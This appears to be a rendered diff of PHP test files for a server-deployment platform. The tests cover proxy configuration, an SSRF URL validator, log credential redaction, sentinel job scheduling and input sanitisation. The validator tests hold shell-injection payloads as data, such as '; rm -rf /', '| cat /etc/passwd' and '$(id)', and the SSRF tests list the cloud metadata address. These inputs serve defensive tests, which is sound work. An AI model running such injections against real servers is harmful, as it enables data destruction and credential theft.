} catch (\Throwable $e) {
|
||||
// generateDefaultProxyConfiguration may fail without full server setup
|
||||
}
|
||||
|
||||
Log::shouldHaveReceived('warning')
|
||||
->withArgs(fn ($message) => str_contains($message, 'regenerated to defaults'))
|
||||
->once();
|
||||
});
|
||||
|
||||
it('does not read from disk when DB config exists', function () {
|
||||
$savedConfig = "services:\n traefik:\n image: traefik:v3.5\n";
|
||||
$server = mockServerWithDbConfig($savedConfig);
|
||||
|
||||
// If disk were read, instant_remote_process would be called.
|
||||
// Since we're not mocking it and the test passes, it proves DB is used.
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($savedConfig);
|
||||
});
|
||||
|
||||
it('rejects stored Traefik config when proxy type is CADDY', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
|
||||
$server = mockServerWithDbConfig($traefikConfig, 'CADDY');
|
||||
|
||||
// Config type mismatch should trigger regeneration, which will try
|
||||
// backfillFromDisk (instant_remote_process) then generateDefault.
|
||||
// Both will fail in test env, but the warning log proves mismatch was detected.
|
||||
try {
|
||||
GetProxyConfiguration::run($server);
|
||||
} catch (\Throwable $e) {
|
||||
// Expected — regeneration requires SSH/full server setup
|
||||
}
|
||||
|
||||
Log::shouldHaveReceived('warning')
|
||||
->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
|
||||
->once();
|
||||
});
|
||||
|
||||
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
|
||||
$server = mockServerWithDbConfig($caddyConfig, 'TRAEFIK');
|
||||
|
||||
try {
|
||||
GetProxyConfiguration::run($server);
|
||||
} catch (\Throwable $e) {
|
||||
// Expected — regeneration requires SSH/full server setup
|
||||
}
|
||||
|
||||
Log::shouldHaveReceived('warning')
|
||||
->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
|
||||
->once();
|
||||
});
|
||||
|
||||
it('accepts stored Caddy config when proxy type is CADDY', function () {
|
||||
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
|
||||
$server = mockServerWithDbConfig($caddyConfig, 'CADDY');
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($caddyConfig);
|
||||
});
|
||||
|
||||
it('accepts stored config when YAML parsing fails', function () {
|
||||
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
|
||||
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
|
||||
|
||||
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($invalidYaml);
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Rules\SafeExternalUrl;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('accepts valid public URLs', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validUrls = [
|
||||
'https://api.github.com',
|
||||
'https://github.example.com/api/v3',
|
||||
'https://example.com',
|
||||
'http://example.com',
|
||||
];
|
||||
|
||||
foreach ($validUrls as $url) {
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects private IPv4 addresses', function (string $url) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'loopback' => 'http://127.0.0.1',
|
||||
'loopback with port' => 'http://127.0.0.1:6379',
|
||||
'10.x range' => 'http://10.0.0.1',
|
||||
'172.16.x range' => 'http://172.16.0.1',
|
||||
'192.168.x range' => 'http://192.168.1.1',
|
||||
]);
|
||||
|
||||
it('rejects cloud metadata IP', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
|
||||
});
|
||||
|
||||
it('rejects localhost and internal hostnames', function (string $url) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'localhost' => 'http://localhost',
|
||||
'localhost with port' => 'http://localhost:8080',
|
||||
'zero address' => 'http://0.0.0.0',
|
||||
'.local domain' => 'http://myservice.local',
|
||||
'.internal domain' => 'http://myservice.internal',
|
||||
]);
|
||||
|
||||
it('rejects non-URL strings', function (string $value) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $value], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
|
||||
})->with([
|
||||
'plain string' => 'not-a-url',
|
||||
'ftp scheme' => 'ftp://example.com',
|
||||
'javascript scheme' => 'javascript:alert(1)',
|
||||
'no scheme' => 'example.com',
|
||||
]);
|
||||
|
||||
it('rejects URLs with IPv6 loopback', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
|
||||
});
|
||||
@@ -153,6 +153,22 @@ it('removes AWS secret access key', function () {
|
||||
expect($result)->toContain('aws_secret_access_key='.REDACTED);
|
||||
});
|
||||
|
||||
it('removes HTTPS basic auth passwords from git URLs', function () {
|
||||
$testCases = [
|
||||
'https://oauth2:glpat-xxxxxxxxxxxx@gitlab.com/user/repo.git' => 'https://oauth2:'.REDACTED.'@'.REDACTED,
|
||||
'https://user:my-secret-token@gitlab.example.com/group/repo.git' => 'https://user:'.REDACTED.'@'.REDACTED,
|
||||
'http://deploy:token123@git.internal.com/repo.git' => 'http://deploy:'.REDACTED.'@'.REDACTED,
|
||||
];
|
||||
|
||||
foreach ($testCases as $input => $notExpected) {
|
||||
$result = sanitizeLogsForExport($input);
|
||||
// The password should be redacted
|
||||
expect($result)->not->toContain('glpat-xxxxxxxxxxxx');
|
||||
expect($result)->not->toContain('my-secret-token');
|
||||
expect($result)->not->toContain('token123');
|
||||
}
|
||||
});
|
||||
|
||||
it('removes generic URL passwords', function () {
|
||||
$testCases = [
|
||||
'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path',
|
||||
|
||||
@@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
|
||||
$expiresAfterProperty->setAccessible(true);
|
||||
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
|
||||
|
||||
expect($expiresAfter)->toBe(60)
|
||||
expect($expiresAfter)->toBe(90)
|
||||
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
|
||||
|
||||
// Check releaseAfter is NOT set (we use dontRelease)
|
||||
|
||||
@@ -1,32 +1,31 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\CheckAndStartSentinelJob;
|
||||
use App\Jobs\ServerConnectionCheckJob;
|
||||
use App\Jobs\ServerManagerJob;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Mockery;
|
||||
|
||||
beforeEach(function () {
|
||||
Queue::fake();
|
||||
Carbon::setTestNow('2025-01-15 12:00:00'); // Set to top of the hour for cron matching
|
||||
Carbon::setTestNow('2025-01-15 12:00:00');
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
Carbon::setTestNow(); // Reset frozen time
|
||||
Carbon::setTestNow();
|
||||
});
|
||||
|
||||
it('dispatches CheckAndStartSentinelJob hourly for sentinel-enabled servers', function () {
|
||||
// Mock InstanceSettings
|
||||
it('does not dispatch CheckAndStartSentinelJob hourly anymore', function () {
|
||||
$settings = Mockery::mock(InstanceSettings::class);
|
||||
$settings->instance_timezone = 'UTC';
|
||||
$this->app->instance(InstanceSettings::class, $settings);
|
||||
|
||||
// Create a mock server with sentinel enabled
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
|
||||
$server->shouldReceive('isSentinelLive')->andReturn(true);
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
$server->ip = '192.168.1.100';
|
||||
@@ -34,29 +33,76 @@ it('dispatches CheckAndStartSentinelJob hourly for sentinel-enabled servers', fu
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
|
||||
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
|
||||
|
||||
// Mock the Server query
|
||||
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
|
||||
Server::shouldReceive('get')->andReturn(collect([$server]));
|
||||
|
||||
// Execute the job
|
||||
$job = new ServerManagerJob;
|
||||
$job->handle();
|
||||
|
||||
// Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server
|
||||
Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id;
|
||||
});
|
||||
// Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync
|
||||
Queue::assertNotPushed(CheckAndStartSentinelJob::class);
|
||||
});
|
||||
|
||||
it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () {
|
||||
// Mock InstanceSettings
|
||||
it('skips ServerConnectionCheckJob when sentinel is live', function () {
|
||||
$settings = Mockery::mock(InstanceSettings::class);
|
||||
$settings->instance_timezone = 'UTC';
|
||||
$this->app->instance(InstanceSettings::class, $settings);
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
|
||||
$server->shouldReceive('isSentinelLive')->andReturn(true);
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
$server->ip = '192.168.1.100';
|
||||
$server->sentinel_updated_at = Carbon::now();
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
|
||||
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
|
||||
|
||||
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
|
||||
Server::shouldReceive('get')->andReturn(collect([$server]));
|
||||
|
||||
$job = new ServerManagerJob;
|
||||
$job->handle();
|
||||
|
||||
// Sentinel is healthy so SSH connection check is skipped
|
||||
Queue::assertNotPushed(ServerConnectionCheckJob::class);
|
||||
});
|
||||
|
||||
it('dispatches ServerConnectionCheckJob when sentinel is not live', function () {
|
||||
$settings = Mockery::mock(InstanceSettings::class);
|
||||
$settings->instance_timezone = 'UTC';
|
||||
$this->app->instance(InstanceSettings::class, $settings);
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
|
||||
$server->shouldReceive('isSentinelLive')->andReturn(false);
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
$server->ip = '192.168.1.100';
|
||||
$server->sentinel_updated_at = Carbon::now()->subMinutes(10);
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
|
||||
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
|
||||
|
||||
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
|
||||
Server::shouldReceive('get')->andReturn(collect([$server]));
|
||||
|
||||
$job = new ServerManagerJob;
|
||||
$job->handle();
|
||||
|
||||
// Sentinel is out of sync so SSH connection check is needed
|
||||
Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id;
|
||||
});
|
||||
});
|
||||
|
||||
it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () {
|
||||
$settings = Mockery::mock(InstanceSettings::class);
|
||||
$settings->instance_timezone = 'UTC';
|
||||
$this->app->instance(InstanceSettings::class, $settings);
|
||||
|
||||
// Create a mock server with sentinel disabled
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('isSentinelEnabled')->andReturn(false);
|
||||
$server->shouldReceive('isSentinelLive')->never();
|
||||
$server->id = 2;
|
||||
$server->name = 'test-server-no-sentinel';
|
||||
$server->ip = '192.168.1.101';
|
||||
@@ -64,78 +110,14 @@ it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enab
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
|
||||
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
|
||||
|
||||
// Mock the Server query
|
||||
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
|
||||
Server::shouldReceive('get')->andReturn(collect([$server]));
|
||||
|
||||
// Execute the job
|
||||
$job = new ServerManagerJob;
|
||||
$job->handle();
|
||||
|
||||
// Assert CheckAndStartSentinelJob was NOT dispatched
|
||||
Queue::assertNotPushed(CheckAndStartSentinelJob::class);
|
||||
});
|
||||
|
||||
it('respects server timezone when scheduling sentinel checks', function () {
|
||||
// Mock InstanceSettings
|
||||
$settings = Mockery::mock(InstanceSettings::class);
|
||||
$settings->instance_timezone = 'UTC';
|
||||
$this->app->instance(InstanceSettings::class, $settings);
|
||||
|
||||
// Set test time to top of hour in America/New_York (which is 17:00 UTC)
|
||||
Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST)
|
||||
|
||||
// Create a mock server with sentinel enabled and America/New_York timezone
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
|
||||
$server->id = 3;
|
||||
$server->name = 'test-server-est';
|
||||
$server->ip = '192.168.1.102';
|
||||
$server->sentinel_updated_at = Carbon::now();
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']);
|
||||
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
|
||||
|
||||
// Mock the Server query
|
||||
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
|
||||
Server::shouldReceive('get')->andReturn(collect([$server]));
|
||||
|
||||
// Execute the job
|
||||
$job = new ServerManagerJob;
|
||||
$job->handle();
|
||||
|
||||
// Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone)
|
||||
Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
|
||||
// Sentinel is not enabled so SSH connection check must run
|
||||
Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id;
|
||||
});
|
||||
});
|
||||
|
||||
it('does not dispatch sentinel check when not at top of hour', function () {
|
||||
// Mock InstanceSettings
|
||||
$settings = Mockery::mock(InstanceSettings::class);
|
||||
$settings->instance_timezone = 'UTC';
|
||||
$this->app->instance(InstanceSettings::class, $settings);
|
||||
|
||||
// Set test time to middle of the hour (not top of hour)
|
||||
Carbon::setTestNow('2025-01-15 12:30:00');
|
||||
|
||||
// Create a mock server with sentinel enabled
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
|
||||
$server->id = 4;
|
||||
$server->name = 'test-server-mid-hour';
|
||||
$server->ip = '192.168.1.103';
|
||||
$server->sentinel_updated_at = Carbon::now();
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
|
||||
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
|
||||
|
||||
// Mock the Server query
|
||||
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
|
||||
Server::shouldReceive('get')->andReturn(collect([$server]));
|
||||
|
||||
// Execute the job
|
||||
$job = new ServerManagerJob;
|
||||
$job->handle();
|
||||
|
||||
// Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour)
|
||||
Queue::assertNotPushed(CheckAndStartSentinelJob::class);
|
||||
});
|
||||
@@ -3,7 +3,6 @@
|
||||
use App\Enums\ProxyTypes;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Mockery;
|
||||
|
||||
it('filters servers by proxy type using whereProxyType scope', function () {
|
||||
// Mock the Builder
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Service\Index;
|
||||
|
||||
test('service database proxy timeout requires a minimum of one second', function () {
|
||||
$component = new Index;
|
||||
$rules = (fn (): array => $this->rules)->call($component);
|
||||
|
||||
expect($rules['publicPortTimeout'])
|
||||
->toContain('min:1');
|
||||
});
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Docker Compose environment variables
|
||||
* do not overwrite user-saved values on redeploy.
|
||||
*
|
||||
* Regression test for GitHub issues #8885 and #9136.
|
||||
*/
|
||||
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The serviceParser function should use firstOrCreate (not updateOrCreate)
|
||||
// for simple variable references like DATABASE_URL: ${DATABASE_URL}
|
||||
// This is the key === parsedValue branch
|
||||
expect($parsersFile)->toContain(
|
||||
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
|
||||
" // Ensure the variable exists in DB for .env generation and UI display\n".
|
||||
' $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('does not set value to null for simple variable references in serviceParser', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The old bug: $value = null followed by updateOrCreate with 'value' => $value
|
||||
// This pattern should NOT exist for simple variable references
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// In the balanced brace extraction path, simple variable references without defaults
|
||||
// should use firstOrCreate to preserve user-saved values
|
||||
// This appears twice (applicationParser and serviceParser)
|
||||
$count = substr_count(
|
||||
$parsersFile,
|
||||
"// Simple variable reference without default\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
|
||||
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
|
||||
});
|
||||
|
||||
it('does not replace self-referencing variable values in the environment array', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Fix for #9136: self-referencing variables (KEY=${KEY}) must NOT have their ${VAR}
|
||||
// reference replaced with the DB value in the compose environment section.
|
||||
// Instead, the reference should stay intact so Docker Compose resolves from .env at deploy time.
|
||||
// This prevents stale values when users update env vars without re-parsing compose.
|
||||
expect($parsersFile)->toContain('Keep the ${VAR} reference in compose');
|
||||
expect($parsersFile)->not->toContain('$environment[$key->value()] = $envVar->value;');
|
||||
});
|
||||
|
||||
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value
|
||||
// This overwrites user-saved values with null on every deploy
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
@@ -2,7 +2,6 @@
|
||||
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use Mockery;
|
||||
|
||||
it('returns required port from service template', function () {
|
||||
// Mock get_service_templates() function
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Rules\ValidHostname;
|
||||
use App\Rules\ValidServerIp;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// ValidServerIp rule
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('accepts a valid IPv4 address', function () {
|
||||
$rule = new ValidServerIp;
|
||||
$failed = false;
|
||||
$rule->validate('ip', '192.168.1.1', function () use (&$failed) {
|
||||
$failed = true;
|
||||
});
|
||||
expect($failed)->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts a valid IPv6 address', function () {
|
||||
$rule = new ValidServerIp;
|
||||
$failed = false;
|
||||
$rule->validate('ip', '2001:db8::1', function () use (&$failed) {
|
||||
$failed = true;
|
||||
});
|
||||
expect($failed)->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts a valid hostname', function () {
|
||||
$rule = new ValidServerIp;
|
||||
$failed = false;
|
||||
$rule->validate('ip', 'my-server.example.com', function () use (&$failed) {
|
||||
$failed = true;
|
||||
});
|
||||
expect($failed)->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects injection payloads in server ip', function (string $payload) {
|
||||
$rule = new ValidServerIp;
|
||||
$failed = false;
|
||||
$rule->validate('ip', $payload, function () use (&$failed) {
|
||||
$failed = true;
|
||||
});
|
||||
expect($failed)->toBeTrue("ValidServerIp should reject: $payload");
|
||||
})->with([
|
||||
'semicolon' => ['192.168.1.1; rm -rf /'],
|
||||
'pipe' => ['192.168.1.1 | cat /etc/passwd'],
|
||||
'backtick' => ['192.168.1.1`id`'],
|
||||
'dollar subshell' => ['192.168.1.1$(id)'],
|
||||
'ampersand' => ['192.168.1.1 & id'],
|
||||
'newline' => ["192.168.1.1\nid"],
|
||||
'null byte' => ["192.168.1.1\0id"],
|
||||
]);
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Server model setter casts
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('strips dangerous characters from server ip on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server->ip = '192.168.1.1;rm -rf /';
|
||||
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
|
||||
expect($server->ip)->toBe('192.168.1.1rm-rf');
|
||||
});
|
||||
|
||||
it('strips dangerous characters from server user on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server->user = 'root$(id)';
|
||||
expect($server->user)->toBe('rootid');
|
||||
});
|
||||
|
||||
it('strips non-numeric characters from server port on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server->port = '22; evil';
|
||||
expect($server->port)->toBe(22);
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// escapeshellarg() in generated SSH commands (source-level verification)
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue();
|
||||
|
||||
$method = $reflection->getMethod('escapedUserAtHost');
|
||||
expect($method->isPrivate())->toBeTrue();
|
||||
expect($method->isStatic())->toBeTrue();
|
||||
});
|
||||
|
||||
it('wraps port with escapeshellarg in getCommonSshOptions', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
$source = file_get_contents($reflection->getFileName());
|
||||
|
||||
expect($source)->toContain('escapeshellarg((string) $server->port)');
|
||||
});
|
||||
|
||||
it('has no raw user@ip string interpolation in SshMultiplexingHelper', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
$source = file_get_contents($reflection->getFileName());
|
||||
|
||||
expect($source)->not->toContain('{$server->user}@{$server->ip}');
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// ValidHostname rejects shell metacharacters
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('rejects semicolon in hostname', function () {
|
||||
$rule = new ValidHostname;
|
||||
$failed = false;
|
||||
$rule->validate('hostname', 'example.com;id', function () use (&$failed) {
|
||||
$failed = true;
|
||||
});
|
||||
expect($failed)->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects backtick in hostname', function () {
|
||||
$rule = new ValidHostname;
|
||||
$failed = false;
|
||||
$rule->validate('hostname', 'example.com`id`', function () use (&$failed) {
|
||||
$failed = true;
|
||||
});
|
||||
expect($failed)->toBeTrue();
|
||||
});
|
||||
Loaded 100 of 518 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user